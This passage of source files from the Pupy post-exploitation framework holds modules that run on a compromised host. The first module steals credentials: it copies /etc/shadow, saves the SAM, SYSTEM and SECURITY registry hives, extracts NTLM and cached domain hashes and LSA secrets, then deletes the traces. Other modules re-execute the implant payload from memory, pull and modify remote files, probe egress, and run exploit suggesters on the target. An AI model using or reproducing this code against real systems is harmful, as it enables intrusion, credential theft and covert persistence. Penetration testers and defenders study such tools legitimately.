            self.windows()
        elif self.client.is_linux():
            self.linux()
        elif self.client.is_darwin():
            self.darwin()

    def darwin(self):
        self.client.load_package("hashdump")
        hashes = self.client.conn.modules["hashdump"].hashdump()
        if hashes:
            self.db.add([{
                'Hash':hsh[1],
                'Login': hsh[0],
                'Category': 'System hash',
                'CredType': 'hash'
            } for hsh in hashes])

            for hsh in hashes:
                self.log('{}'.format(hsh))

            self.success("Hashes stored on the database")
        else:
            self.error('no hashes found')

    def linux(self):
        known = set()
        hashes = []

        def add_hashes(line):
            user, hsh, rest = line.split(':', 2)
            if hsh not in ('!','*','x') and (user, hsh) not in known:
                known.add((user, hsh))
                hashes.append(line)

        try:
            passwd = os.path.join(self.rep, 'passwd')
            download(
                self.client.conn,
                '/etc/passwd',
                passwd
            )

            with open(passwd, 'r') as fpasswd:
                for line in fpasswd.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/passwd is not accessible: {}'.format(e))

        try:
            shadow = os.path.join(self.rep, 'shadow')
            download(
                self.client.conn,
                '/etc/shadow',
                shadow
            )

            with open(shadow, 'r') as fshadow:
                for line in fshadow.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/shadow is not accessible: {}'.format(e))

        rsubprocess = self.client.conn.modules.subprocess

        try:
            with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd:
                for line in rsubprocess.check_output('getent passwd', shell=True).split('\n'):
                    if not line:
                        continue

                    add_hashes(line)
                    passwd.write(line+'\n')

        except Exception as e:
            self.error('getent passwd failed: {}: {}'.format(type(e), str(e)))

        try:
            with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow:
                for line in rsubprocess.check_output('getent shadow', shell=True).split('\n'):
                    if not line:
                        continue

                    add_hashes(line)
                    shadow.write(line+'\n')

        except Exception as e:
            self.error('getent shadow failed: {}: {}'.format(type(e), str(e)))

        self.db.add([{
            'Hash':':'.join(hsh.split(':')[1:]),
            'Login': hsh.split(':')[0],
            'Category': 'Shadow hash',
            'CredType': 'hash'
        } for hsh in hashes])

        for hsh in hashes:
            self.log('{}'.format(hsh))

        self.success("Hashes stored on the database")

    def windows(self):
        # First, we download the hives...

        #detect windows version
        is_vista=False
        try:
            if self.client.conn.modules['sys'].getwindowsversion()[0] >=6:
                is_vista=True
                self.info("windows > vista detected")
            else:
                self.info("windows < vista detected")
        except:
            self.warning("windows version couldn't be determined. supposing vista=False")

        self.success("saving SYSTEM hives in %TEMP%...")
        cmds = ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM", "reg save HKLM\\SECURITY %TEMP%/SECURITY", "reg save HKLM\\SAM %TEMP%/SAM")
        if is_vista:
            cmds = (x+' /y' for x in cmds)

        for cmd in cmds:
            self.info("running %s..." % cmd)
            self.log(shell_exec(self.client, cmd))

        self.success("hives saved!")
        remote_temp=self.client.conn.modules['os.path'].expandvars("%TEMP%")

        self.info("downloading SYSTEM hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SYSTEM"), os.path.join(self.rep, "SYSTEM"))

        self.info("downloading SECURITY hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SECURITY"), os.path.join(self.rep, "SECURITY"))

        self.info("downloading SAM hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SAM"), os.path.join(self.rep, "SAM"))

        self.success("hives downloaded to %s" % self.rep)

        # Cleanup
        self.success("cleaning up saves...")
        try:
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SYSTEM"))
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SECURITY"))
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SAM"))
            self.success("saves deleted")
        except Exception as e:
            self.warning("error deleting temporary files: %s"%str(e))

        # Time to run creddump!
        hashes = []

        # HiveFileAddressSpace - Volatilty
        sysaddr = HiveFileAddressSpace(os.path.join(self.rep, "SYSTEM"))
        secaddr = HiveFileAddressSpace(os.path.join(self.rep, "SECURITY"))
        samaddr = HiveFileAddressSpace(os.path.join(self.rep, "SAM"))

        # Print the results
        self.success("dumping cached domain passwords...")

        for (u, d, dn, h) in dump_hashes(sysaddr, secaddr, is_vista):
            self.log("%s:%s:%s:%s" % (u.lower(), h.encode('hex'),
                d.lower(), dn.lower()))
            hashes.append({
                'Login': u.lower(),
                'Hash': "%s:%s:%s" % (h.encode('hex'), d.lower(), dn.lower()),
                'Category': 'MSCACHE hash',
                'CredType': 'hash'
            })

        self.success("dumping LM and NT hashes...")
        bootkey = get_bootkey(sysaddr)
        hbootkey = get_hbootkey(samaddr,bootkey)
        for user in get_user_keys(samaddr):
            lmhash, nthash = get_user_hashes(user,hbootkey)
            if not lmhash:
                lmhash = empty_lm

            if not nthash:
                nthash = empty_nt

            self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')))
            hashes.append({
                'Login': get_user_name(user),
                'Hash': "%s:%s" % (lmhash.encode('hex'), nthash.encode('hex')),
                'Category': 'NTLM hash',
                'CredType': 'hash'
            })

        self.db.add(hashes)
        self.success("Hashes stored on the database")

        self.success("dumping lsa secrets...")
        secrets = get_file_secrets(os.path.join(self.rep, "SYSTEM"), os.path.join(self.rep, "SECURITY"), is_vista)
        if not secrets:
            self.error("unable to read LSA secrets, perhaps the hives are corrupted")
            return
        for key in secrets:
            self.log(key)
            self.log(self.dump(secrets[key], length=16))

        # The End! (hurrah)
        self.success("dump was successfull!")

    def dump(self, src, length=8):
        FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
        N=0
        result=''
        while src:
            s,src = src[:length],src[length:]
            hexa = ' '.join(["%02X"%ord(x) for x in s])
            s = s.translate(FILTER)
            result += "%04X   %-*s   %s\n" % (N, length*3, hexa, s)
            N+=length
        return result


================================================
FILE: pupy/modules/date.py
================================================
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
from pupy.pupylib.PupyModule import config, PupyArgumentParser, PupyModule

if sys.version_info.major > 2:
    basestring = str

__class_name__ = 'date'


@config(cat="admin")
class date(PupyModule):
    """ Get current date """
    is_module=False

    dependencies = ['pupyutils.basic_cmds']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="date", description=cls.__doc__)

    def run(self, args):
        try:
            date = self.client.remote('pupyutils.basic_cmds', 'now', False)
            self.success(date())

        except Exception as e:
            self.error(
                ' '.join(x for x in e.args if isinstance(x, basestring))
            )


================================================
FILE: pupy/modules/display.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="Display"


@config(compat="posix", cat="admin")
class Display(PupyModule):
    """ Set display variable """

    dependencies = ['display']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='users', description=cls.__doc__)
        cls.arg_parser.add_argument('-x', '--xauth', help='Path to .Xauthority')
        cls.arg_parser.add_argument('-X', '--print-xauth', action='store_true',
                                         help='Print xauth information for current hostname')
        cls.arg_parser.add_argument('display', nargs='?', help='Display to use')

    def run(self, args):
        attach_to_display = self.client.remote('display', 'attach_to_display', False)
        extract_xauth_info = self.client.remote('display', 'extract_xauth_info')
        guess_displays = self.client.remote('display', 'guess_displays')

        if args.display:
            if attach_to_display(args.display, args.xauth):
                self.success('Attached to {}'.format(args.display))
                if args.print_xauth:
                    info = extract_xauth_info(args.display)
                    if info:
                        family, host, display, cookie, value = info
                        self.success('xauth: {}:{}/{} {} {}'.format(
                            host, display, family, cookie, value
                        ))
                    else:
                        self.error('xauth: entries not found')
            else:
                self.error('Couldn\'t attach to {}'.format(args.display))
        else:
            displays = guess_displays()
            for display, items in displays.items():
                for item in items:
                    self.success('{} user={} xauth={}'.format(display, item[0], item[1]))


================================================
FILE: pupy/modules/dns.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Table, NewLine

from netaddr import IPNetwork, IPAddress
from netaddr.core import AddrFormatError

__class_name__="DNS"


@config(cat="admin")
class DNS(PupyModule):
    """ retrieve domain name from IP and vice versa """

    dependencies = ['pupyutils.dns']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="dns", description=cls.__doc__)
        cls.arg_parser.add_argument('targets', type=str, nargs='+', help='Domain name or IP address')

    def run(self, args):
        launch_dns_ip_resolver = self.client.remote('pupyutils.dns', 'launch_dns_ip_resolver')
        launch_reverse_ip_resolver = self.client.remote('pupyutils.dns', 'launch_reverse_ip_resolver', False)

        add_space = False

        for target in args.targets:
            if add_space:
                self.log(NewLine())

            try:
                address = str(IPAddress(target))
                self.log('Resolve IP: {}'.format(target))
                hostname = launch_reverse_ip_resolver(address)
                if hostname:
                    self.success('{}: {}'.format(address, hostname))
                else:
                    self.error('{}: Not found'.format(address))
                add_space = True
                continue
            except (ValueError, AddrFormatError):
                pass

            try:
                network = IPNetwork(target)
                objects = []
                self.log('Resolve Net: {} (size={})'.format(target, len(network)))
                for ip in network:
                    ip = str(ip)
                    rip = launch_reverse_ip_resolver(ip)
                    if rip:
                        objects.append({
                            'IP': ip,
                            'HOSTNAME': rip
                        })

                self.success(Table(objects, ['IP', 'HOSTNAME']))
                add_space = True
                continue

            except AddrFormatError:
                pass

            self.log('Resolve hostname: {}'.format(target))
            known = set()
            found = False

            for k,v in launch_dns_ip_resolver(target).items():
                if v and not type(v) == str:
                    v = [x for x in v if x not in known]
                    for x in v:
                        known.add(x)
                elif v:
                    known.add(v)

                if not v:
                    continue

                self.success('{}: {}'.format(k, v if type(v) is str else ','.join(v)))
                found = True

            if not found:
                self.error('{}: Not found'.format(target))

            add_space = True


================================================
FILE: pupy/modules/download.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import remote_path_completer, path_completer

from pupy.modules.lib.utils.download import DownloadFronted

from os import path, devnull
from subprocess import Popen
from io import open

__class_name__="DownloaderScript"


def size_human_readable(num, suffix='B'):
    try:
        num = int(num)
        for unit in ['','Ki','Mi','Gi','Ti','Pi','Ei','Zi']:
            if abs(num) < 1024.0:
                return "%3.1f %s%s" % (num, unit, suffix)
            num /= 1024.0
        return "%.1f %s%s" % (num, 'Yi', suffix)
    except:
        return '0.00 B'


@config(category="manage")
class DownloaderScript(PupyModule):
    """ download a file/directory from a remote system """

    dependencies = {
        'all': ['transfer', 'scandir', 'zipfile', 'tarfile'],
        'windows': ['junctions']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='download', description=cls.__doc__)
        cls.arg_parser.add_argument('-v', '--verbose', action='store_true', default=False,
                                         help='Be verbose during download')
        cls.arg_parser.add_argument('-O', '--open', action='store_true', default=False,
                                         help='Open file with xdg-open')
        cls.arg_parser.add_argument('-a', '--archive', action='store_true', default=False,
                                         help='Store to archive (use this only for dirs)')
        cls.arg_parser.add_argument('-C', '--chunk-size', type=int, default=1*1024, help='Max transfer chunk (Kbytes)')
        cls.arg_parser.add_argument('-i', '--include', help='Regex to include files')
        cls.arg_parser.add_argument('-e', '--exclude', help='Regex to exclude files')
        cls.arg_parser.add_argument('-F', '--follow-symlinks', action='store_true', help='Follow symlinks')
        cls.arg_parser.add_argument('-I', '--ignore-size', action='store_true', help='Ignore st_size')
        cls.arg_parser.add_argument('-X', '--no-single-device', action='store_false', default=True,
                                     help='Allow to touch another devices (st_rdev)')
        cls.arg_parser.add_argument('-S', '--calculate-size', action='store_true', help='Calculate size only')

        cls.arg_parser.add_argument('remote_file', metavar='<remote_path>', completer=remote_path_completer)
        cls.arg_parser.add_argument('local_file', nargs='?', metavar='<local_path>', completer=path_completer)

    def run(self, args):
        self._downloader = DownloadFronted(
            self.client,
            args.exclude, args.include, args.follow_symlinks, args.ignore_size, args.no_single_device,
            False, self.info if args.verbose else None, self.success, self.error
        )

        if args.calculate_size:
            obj = self.client.remote('transfer')
            count, size = self._downloader.du(args.remote_file, obj)
            if count is not None and size is not None:
                self.success('Files: {} Size: {}'.format(count, size_human_readable(size)))
        else:
            self._downloader.download(
                args.remote_file,
                args.local_file,
                args.archive,
                args.chunk_size * 1024
            )

            if args.verbose:
                self.info('Destination folder: {}'.format(self._downloader.dest_file))

            if args.open and path.exists(self._downloader.dest_file):
                viewer = self.config.get('default_viewers', 'xdg_open') or 'xdg-open'
                if args.verbose:
                    self.info('Open file {} with {}'.format(self._downloader.dest_file, viewer))

                with open(devnull, 'wb') as DEVNULL:
                    Popen(
                        [viewer, self._downloader.dest_file],
                        stdin=DEVNULL, stdout=DEVNULL, stderr=DEVNULL)

    def interrupt(self):
        if self._downloader:
            self._downloader.interrupt()


================================================
FILE: pupy/modules/drives.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Table, MultiPart
from pupy.pupylib.utils.term import colorize
from pupy.modules.lib import size_human_readable

__class_name__="Drives"


@config(category='admin', compatibilities=['windows', 'posix', 'darwin'])
class Drives(PupyModule):
    """ List valid drives in the system """

    dependencies={
        'all': ['psutil'],
        'posix': ['mount'],
        'windows': [
            'pupyps', 'netresources',
        ],
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog="drives",
            description=cls.__doc__
        )

    def run(self, args):
        if self.client.is_posix():
            tier1 = ('network', 'fuse', 'dm', 'block', 'vm')

            mounts = self.client.remote('mount', 'mounts')
            getuid = self.client.remote('os', 'getuid')
            getgid = self.client.remote('os', 'getgid')

            mountinfo = mounts()
            uid = getuid()
            gid = getgid()

            option_colors = {
                'rw': 'yellow',
                'nosuid': 'grey',
                'nodev': 'grey',
                'noexec': 'lightgreen',
                'uid': {
                    '0': 'green',
                    str(uid): 'red'
                },
                'gid': {
                    '0': 'green',
                    str(gid): 'red'
                },
                'ro': 'green',
                'user_id': {
                    '0':'green',
                    str(uid): 'red'
                },
                'group_id': {
                    '0':'green',
                    str(gid): 'red'
                },
                'allow_other': 'yellow',
                'xattr': 'yellow',
                'acl': 'yellow',
                'username': 'red',
                'domain': 'red',
                'forceuid': 'yellow',
                'forcegid': 'yellow',
                'addr': 'red',
                'unix': 'red'
            }

            def colorize_option(option):
                if len(option) > 1:
                    k, v = option
                else:
                    k = option[0]
                    v = None

                color = option_colors.get(k)
                if color:
                    if type(color) == dict:
                        if v in color:
                            return colorize(
                                '='.join([x for x in [k, v] if x]), color.get(v)
                            )
                        else:
                            return '='.join([x for x in [k, v] if x])
                    else:
                        return colorize(
                            '='.join([x for x in [k, v] if x]), color
                        )
                else:
                    return '='.join([x for x in [k, v] if x])

            output = []

            for fstype in mountinfo:
                if fstype in tier1:
                    continue

                output.append('{}:'.format(colorize(fstype, 'yellow')))

                dst_max = max([len(x['dst']) for x in mountinfo[fstype]])
                fsname_max = max([len(x['fsname']) for x in mountinfo[fstype]])
                free_max = max([len(x['hfree']) if x['total'] else 0 for x in mountinfo[fstype]])

                for info in mountinfo[fstype]:
                    fmt = '{{:<{}}} {{:<{}}} {{:>{}}} {{}}'.format(
                        dst_max, fsname_max, (free_max + 3 + 4) if free_max else 0
                    )

                    output.append(
                        fmt.format(
                            info['dst'], info['fsname'], (
                                colorize(
                                    ('{{:>3}}% ({{:>{}}})'.format(free_max)).format(
                                        info['pused'], info['hfree']
                                    ),
                                    'white' if info['pused'] < 90 else 'yellow'
                                )
                            ) if info['total'] else '',
                            ','.join([colorize_option(option) for option in info['options']])
                        )
                    )

                output.append('')

            for fstype in tier1:
                if fstype not in mountinfo:
                    continue

                src_max = max([len(x['src']) for x in mountinfo[fstype]])
                dst_max = max([len(x['dst']) for x in mountinfo[fstype]])
                fsname_max = max([len(x['fsname']) for x in mountinfo[fstype]])
                free_max = max([len(x['hfree']) if x['total'] else 0 for x in mountinfo[fstype]])

                output.append('{}:'.format(colorize(fstype, 'green')))
                for info in mountinfo[fstype]:
                    fmt = '{{:<{}}} {{:<{}}} {{:<{}}} {{:>{}}} {{}}'.format(
                        dst_max, src_max, fsname_max, (free_max + 3 + 4) if free_max else 0
                    )

                    output.append(
                        fmt.format(
                            info['dst'], info['src'], info['fsname'], (
                                colorize(
                                    ('{{:>3}}% ({{:>{}}})'.format(free_max)).format(
                                        info['pused'], info['hfree']
                                    ),
                                    'white' if info['pused'] < 90 else 'yellow'
                                )
                            ) if info['total'] else '',
                            ','.join([colorize_option(option) for option in info['options']])
                        )
                    )

                output.append('')

            self.log('\n'.join(output))

        elif self.client.is_windows():
            list_drives = self.client.remote('pupyps', 'drives')
            EnumNetResources = self.client.remote('netresources', 'EnumNetResources')
            drives = list_drives()

            formatted_drives = []
            parts = []

            for drive in drives:
                formatted_drives.append({
                    'MP': drive['mountpoint'],
                    'FS': drive['fstype'],
                    'OPTS': drive['opts'],
                    'USED': (
                        '{}% ({}/{})'.format(
                            drive['percent'],
                            size_human_readable(drive['used']),
                            size_human_readable(drive['total']))
                    ) if ('used' in drive and 'total' in drive) else '?'
                })

            parts.append(Table(formatted_drives, ['MP', 'FS', 'OPTS', 'USED']))

            providers = {}

            net_resources = EnumNetResources()
            for resource in net_resources:
                if resource['provider'] not in providers:
                    providers[resource['provider']] = []

                if 'used' in resource:
                    resource['used'] = '{}% ({}/{})'.format(
                        resource['percent'],
                        size_human_readable(resource['used']),
                        size_human_readable(resource['total'])
                    )
                else:
                    resource['used'] = '?'

                providers[resource['provider']].append(dict(
                    (k, v) for k, v in resource.items() if k not in (
                        'usage', 'provider', 'scope'
                    )
                ))

            for provider, records in providers.items():

                parts.append(
                    Table(records, [
                        'remote', 'local', 'type', 'used'
                    ], caption=provider))

            self.log(MultiPart(parts))


================================================
FILE: pupy/modules/duplicate.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE
# file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.modules.lib.windows.memory_exec import exec_pe
from pupy.modules.lib.linux.exec_elf import mexec

from pupy.cli import pupygen

__class_name__ = 'MemoryDuplicate'


@config(compatibilities=["windows", "linux"], category="manage")
class MemoryDuplicate(PupyModule):
    """
        Duplicate the current pupy payload by executing it from memory
    """
    interactive = 1
    dependencies = {
        'linux': ['memexec'],
        'windows': ['pupwinutils.memexec', 'pupwinutils.processes']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='duplicate', description=cls.__doc__
        )
        cls.arg_parser.add_argument(
            '-p', '--process', default='cmd.exe',
            help='process to start suspended'
        )
        cls.arg_parser.add_argument(
            '--port',
            help='port to listen on (bind launcher only)'
        )
        cls.arg_parser.add_argument(
            '-m', '--impersonate', action='store_true',
            help='use the current impersonated token '
            '(to use with impersonate module, windows only)'
        )

    def run(self, args):
        # usefull for bind connection
        launcherType = self.client.desc['launcher']
        addressPort = self.client.desc['address']

        newClientConf = self.client.get_conf()

        listeningAddressPort = None  # For Bind mode
        if launcherType == 'bind':
            if args.port is None or args.port == addressPort:
                self.error(
                    'Current instance listens on the {0} port'.format(
                        addressPort
                    )
                )

                self.error(
                    'For the duplication, you have to choose another '
                    'port and it will listen on this new specific port '
                    'on the target'
                )

                self.error(
                    'Be careful, you have to choose a port which is not '
                    'used on the target and allowed by firewall!'
                )

                return

            listeningAddress = addressPort.split(':')[0]
            listeningAddressPort = "{0}:{1}".format(
                listeningAddress, args.port
            )

            self.info(
                'The new pupy instance will listen on {0} '
                'on the target'.format(listeningAddressPort)
            )

            newClientConf = self.client.get_conf()
            # Modify the listening port on the conf. If it is not modified,
            # the payload will listen on the same port as the inital pupy
            # launcher on the target

            newClientConf['launcher_args'][
                newClientConf['launcher_args'].index(
                    '--port') + 1] = str(args.port)

            # Delete --oneliner-host argument, not compatible with exe payload
            for pos, val in enumerate(newClientConf['launcher_args']):
                if '--oneliner-host' in val:
                    newClientConf['launcher_args'][pos] = ''
                    newClientConf['launcher_args'][pos+1] = ''

        self.success('Generating the payload...')
        payload, tpl, _ = pupygen.generate_binary_from_template(
            self.log, newClientConf, self.client.target
        )

        self.success(
            'Payload generated with the current config '
            'from {} - size={}'.format(tpl, len(payload))
        )

        self.success('Executing the payload from memory ...')
        if self.client.is_windows():
            exec_pe(
                self, '', raw_pe=payload, interactive=False,
                use_impersonation=args.impersonate,
                suspended_process=args.process,
                wait=False
            )
        elif self.client.is_linux():
            mexec(self, payload, [], argv0='/bin/bash', raw=True)

        self.success("pupy payload executed from memory")
        if launcherType == 'bind':
            self.success(
                'You have to connect to the target manually on {0}: '
                'try "connect --host {0}" in pupy shell'.format(
                    listeningAddressPort)
            )


================================================
FILE: pupy/modules/echo.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from threading import Event

from pupy.pupylib.PupyModule import PupyModule, PupyArgumentParser


__class_name__ = 'Echo'


class Echo(PupyModule):
    'Check egress (TCP/UDP) using remote echo server'

    __slots__ = ('_wait', '_abort')

    dependencies = {
        'all': ['network.lib.echo']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='echo', description=cls.__doc__)
        cls.arg_parser.add_argument(
            'host', type=str, help='IP address of pupy\'s Echo server')
        cls.arg_parser.add_argument(
            '-n', '--amount', type=int, default=4,
            help='Search at least this amount of ports before exit')

    def interrupt(self):
        self._abort()
        self._wait.set()

    def run(self, args):
        echo = self.client.remote('network.lib.echo', 'echo', False)

        self._wait = Event()

        def on_completed(tcp, http, udp):
            if self._wait.is_set():
                return

            if not any([tcp, http, udp]):
                self.warning('No connectable ports found')
                self._wait.set()
                return

            if tcp:
                self.success(
                    'TCP: {}'.format(','.join(str(x) for x in tcp)))

            if http:
                self.success(
                    'HTTP: {}'.format(','.join(str(x) for x in http)))

            if udp:
                self.success(
                    'UDP: {}'.format(','.join(str(x) for x in udp)))

            self._wait.set()

        self._abort = echo(args.host, args.amount, on_completed)
        self._wait.wait()


================================================
FILE: pupy/modules/edit.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import remote_path_completer

from os.path import splitext, basename
from os import environ

import hashlib
import tempfile
import subprocess

from pupy.network.lib.convcompat import shlex

__class_name__ = 'Edit'


@config(cat='manage')
class Edit(PupyModule):
    ''' Edit remote file locally (download->edit->upload) '''

    dependencies = ['pupyutils.basic_cmds']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='edit', description=cls.__doc__
        )
        cls.arg_parser.add_argument(
            'remote_file', metavar='<remote_path>',
            completer=remote_path_completer)

    def run(self, args):
        fgetcontent = self.client.remote(
            'pupyutils.basic_cmds', 'fgetcontent', False
        )

        fputcontent = self.client.remote(
            'pupyutils.basic_cmds', 'fputcontent', False
        )

        base, ext = splitext(args.remote_file)

        with tempfile.NamedTemporaryFile(
                suffix=ext, prefix=basename(base)) as local:
            content = fgetcontent(args.remote_file)
            h1 = hashlib.md5(content).digest()
            local.write(content)
            local.flush()

            del content

            editor = self.config.get('default_viewers', 'editor')
            if not editor:
                editor = environ.get('EDITOR', 'vi')

            cmdline = shlex.split(editor)
            f_found = False

            for i, pos in enumerate(cmdline):
                if '%f' in pos:
                    cmdline[i] = pos.replace('%f', local.name)
                    f_found = True

            if not f_found:
                cmdline.append(local.name)

            subprocess.check_call(cmdline)

            local.seek(0)
            content = local.read()
            h2 = hashlib.md5(content).digest()

            if h1 != h2:
                fputcontent(args.remote_file, content)


================================================
FILE: pupy/modules/env.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Table, TruncateToTerm

from pupy.network.lib.convcompat import as_escaped_string


__class_name__='Env'
@config(cat='manage')
class Env(PupyModule):
    ''' List/Get/Set/Unset client environment variables '''

    dependencies = ['pupyutils.basic_cmds']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='env', description=cls.__doc__
        )

        commands = cls.arg_parser.add_subparsers(dest="command")
        cls.arg_parser.set_defaults(func=cls.listenv)

        setenv = commands.add_parser('set')
        setenv.add_argument('name', help='Environment variable name')
        setenv.add_argument('value', help='Environment variable value')
        setenv.set_defaults(func=cls.setenv)

        getenv = commands.add_parser('get')
        getenv.add_argument('name', help='Environment variable name')
        getenv.set_defaults(func=cls.getenv)

        unsetenv = commands.add_parser('unset')
        unsetenv.add_argument('name', help='Environment variable name')
        unsetenv.set_defaults(func=cls.unsetenv)

        listenv = commands.add_parser('list')
        listenv.set_defaults(func=cls.listenv)

    def run(self, args):
        environ = self.client.remote('pupyutils.basic_cmds', 'env')
        args.func(self, args, environ)

    def setenv(self, args, environ):
        environ(args.name, args.value)

    def getenv(self, args, environ):
        value = environ(args.name)
        if value is None:
            self.error('No such variable')
        else:
            self.log(value)

    def unsetenv(self, args, environ):
        environ(args.name, None)

    def listenv(self, args, environ):
        self.log(TruncateToTerm(Table([
            {
                'VAR': k, 'VAL': as_escaped_string(v)
            } for (k, v) in environ()
        ], ['VAR', 'VAL'], legend=False)))


================================================
FILE: pupy/modules/exit.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import PupyModule, PupyArgumentParser
from pupy.pupylib.PupyErrors import PupyModuleError

__class_name__="ExitModule"

class ExitModule(PupyModule):
    """ exit the client on the other side """
    is_module=False

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="exit", description=cls.__doc__)
        cls.arg_parser.add_argument('--yes', action="store_true", help='exit confirmation')

    def run(self, args):
        if args.yes:
            try:
                self.client.conn.exit()
            except Exception:
                pass
        else:
            raise PupyModuleError('Please conform with --yes to perform this action.')


================================================
FILE: pupy/modules/exploit_suggester.py
================================================
# -*- coding: utf-8 -*-
# Thanks to the awesome tools:
# - Windows Exploit Suggester - Next Generation: https://github.com/bitsadmin/wesng
# - linux-exploit-suggester: https://github.com/mzet-/linux-exploit-suggester

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import os
import imp
import threading

from io import open

if sys.version_info.major > 2:
    from urllib.request import urlopen
else:
    from urllib2 import urlopen


from zipfile import BadZipfile

from pupy.pupylib import ROOT
from pupy.pupylib.PupyOutput import List, Table, Color, MultiPart, NewLine
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__ = 'Exploit_Suggester'

LINUX_EXPLOIT_SUGGESTER_PATH = os.path.join(
    ROOT, 'external', 'linux-exploit-suggester', 'linux-exploit-suggester.sh'
)

WES_PATH = os.path.join(
    ROOT, 'external', 'wesng', 'wes.py'
)

WES_DEFINITIONS = 'https://raw.githubusercontent.com/bitsadmin/wesng/master/definitions.zip'
WES_LOCAL_FILE = 'wes-defintions.zip'


@config(compat=['linux', 'windows'], category='exploit')
class Exploit_Suggester(PupyModule):
    ''' Exploit suggester '''

    terminate_pipe = None
    terminated = False

    dependencies = ['pupyutils.safepopen']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='Exploit_Suggester', description=cls.__doc__)
        cls.arg_parser.add_argument(
            '-no-recent-kb', default=False, action='store_true',
            help='Do not filter findings by most recent KB date')
        cls.arg_parser.add_argument(
            '--hide', nargs='+', default='',
            help='(WES only) Hide vulnerabilities of for example Adobe Flash Player and Microsoft Edge')
        cls.arg_parser.add_argument(
            '--update', action='store_true', default=False,
            help='(WES only) Update Windows database (Internet access required on pupy server host)')

    def run(self, args):
        close_event = threading.Event()
        result = []

        cmdargs = None
        kwargs = None

        definitions = None

        safe_exec = self.client.remote('pupyutils.safepopen', 'safe_exec', False)

        if self.client.is_linux():
            payload = open(LINUX_EXPLOIT_SUGGESTER_PATH, 'rb').read()
            cmdargs = ['/bin/bash']
            kwargs = (('stdin_data', payload),)
        else:
            definitions = os.path.join(
                self.config.get_folder('plugins'), WES_LOCAL_FILE
            )

            if not os.path.isfile(definitions) or args.update:
                self.info('Updating WES defintions from {}'.format(WES_DEFINITIONS))
                try:
                    response = urlopen(WES_DEFINITIONS)
                    with open(definitions, 'w+b') as out:
                        while True:
                            block = response.read(32768)
                            if not block:
                                break

                            out.write(block)

                except Exception as e:
                    self.error('Update failed: {}'.format(e))

                    if os.path.isfile(definitions):
                        try:
                            os.unlink(definitions)
                        except (OSError, IOError):
                            pass

                    return

                self.info('Update completed ({})'.format(definitions))

            expandvars = self.client.remote('os.path', 'expandvars')
            systeminfo = expandvars(r'%WINDIR%\System32\systeminfo.exe')
            cmdargs = [systeminfo]
            kwargs = tuple()

        self.info('Execute payload ({})'.format(' '.join(cmdargs)))
        self.terminate_pipe, get_returncode = safe_exec(
            result.append, close_event.set, cmdargs, kwargs
        )

        close_event.wait()
        retcode = get_returncode()

        if retcode != 0:
            self.warning('Ret: {}'.format(retcode))
